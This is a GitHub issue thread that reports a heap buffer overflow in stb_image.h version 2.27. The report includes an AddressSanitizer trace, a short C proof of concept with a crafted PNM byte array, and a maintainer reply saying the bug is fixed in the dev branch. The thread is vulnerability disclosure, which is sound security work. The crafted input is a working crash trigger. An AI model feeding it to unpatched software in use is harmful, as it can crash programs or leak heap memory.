stb icon indicating copy to clipboard operation
stb copied to clipboard

stb_image.h Heap Buffer Overflow

Open rfoggia opened this issue 3 years ago • 1 comments

A heap buffer overflow vulnerability found in stb_image.h (latest version 2.27) triggered in function stbi__convert_16_to_8 using a crafted file. This finding is credited to Jason Villaluna.

uname -a Linux d592d0ba1f51 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 GNU/Linux root@d592d0ba1f51:/dev/shm# clang --version clang version 12.0.0 (https://github.com/llvm/llvm-project/ b978a93635b584db380274d7c8963c73989944a1) Target: x86_64-unknown-linux-gnu Thread model: posix InstalledDir: /usr/local/bin root@d592d0ba1f51:/dev/shm# clang poc_heap_buffer_overflow.c -o poc_heap_buffer_overflow -g3 -fsanitize=address,undefined root@d592d0ba1f51:/dev/shm# ./poc_heap_buffer_overflow

================================================================= ==10==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fba749f0090 at pc 0x0000004d463f bp 0x7fff18ed7250 sp 0x7fff18ed7248 READ of size 2 at 0x7fba749f0090 thread T0 #0 0x4d463e in stbi__convert_16_to_8 /dev/shm/./stb/stb_image.h:1180:31 #1 0x4cbfbf in stbi__load_and_postprocess_8bit /dev/shm/./stb/stb_image.h:1252:16 #2 0x4cdfe1 in stbi_load_from_memory /dev/shm/./stb/stb_image.h:1413:11 #3 0x4d3c47 in main /dev/shm/poc_heap_buffer_overflow.c:17:7 #4 0x7fba780d6d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26d09) #5 0x41f349 in _start (/dev/shm/poc_heap_buffer_overflow+0x41f349)0x7fba749f0090 is located 0 bytes to the right of 2132112-byte region [0x7fba747e7800,0x7fba749f0090) allocated by thread T0 here: #0 0x49a5ad in malloc /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3 #1 0x4d1554 in stbi__malloc /dev/shm/./stb/stb_image.h:984:12 #2 0x50ee02 in stbi__malloc_mad3 /dev/shm/./stb/stb_image.h:1055:11 #3 0x4f19aa in stbi__convert_format /dev/shm/./stb/stb_image.h:1743:29 #4 0x4e2ea7 in stbi__pnm_load /dev/shm/./stb/stb_image.h:7452:13 #5 0x4d41d8 in stbi__load_main /dev/shm/./stb/stb_image.h:1151:35 #6 0x4cbc7b in stbi__load_and_postprocess_8bit /dev/shm/./stb/stb_image.h:1243:19 #7 0x4cdfe1 in stbi_load_from_memory /dev/shm/./stb/stb_image.h:1413:11 #8 0x4d3c47 in main /dev/shm/poc_heap_buffer_overflow.c:17:7 #9 0x7fba780d6d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26d09)SUMMARY: AddressSanitizer: heap-buffer-overflow /dev/shm/./stb/stb_image.h:1180:31 in stbi__convert_16_to_8 Shadow bytes around the buggy address: 0x0ff7ce935fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff7ce935fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff7ce935fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff7ce935ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff7ce936000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff7ce936010: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff7ce936020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff7ce936030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff7ce936040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff7ce936050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff7ce936060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==10==ABORTING

The line 1180 in stb_image.h, reads outside the address that heap allocated for orig leading to this bug.

// i=0x0, img_len=0x208890 → 1179 for (i = 0; i < img_len; ++i) 1180 reduced[i] = (stbi_uc)((orig[i] >> 8) & 0xFF); // top half of each byte is sufficient approx of 16->8 bit scaling 1181 1182 STBI_FREE(orig); 1183 return reduced; 1184 }

This can lead to the leak of the uninitialized data on the heap.

rfoggia avatar Mar 07 '22 22:03 rfoggia

Hi,

I am Jason Villaluna as mentioned by @rfoggia. Here's the POC code for the above issue:

#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

#define STB_IMAGE_IMPLEMENTATION
#include "stb/stb_image.h"

int main(void) {
  int width, height, channels;
  unsigned char data[] = {0x50, 0x36, 0x38, 0x38, 0x38, 0x33, 0x38, 0x09,
                          0x36, 0x09, 0x09, 0x38, 0x38, 0x36, 0x09, 0x23,
                          0x2b, 0x38, 0x38, 0x38, 0x38, 0x38, 0x38, 0x38,
                          0x38, 0x39, 0x09, 0x36, 0x23, 0x2b, 0x38, 0x21,
                          0xff, 0xd8, 0x00, 0x00, 0x00, 0x26, 0x01, 0x0a};
  unsigned char *img =
      stbi_load_from_memory(data, sizeof(data), &width, &height, &channels, 4);

  stbi_image_free(img);
}

Thanks!

jsnv-dev avatar Mar 08 '22 02:03 jsnv-dev

Appears to be a duplicate of #1166, which is now fixed in dev branch. PoC confirmed fixed in dev. Fix will be in the next release.

rygorous avatar Jan 22 '23 23:01 rygorous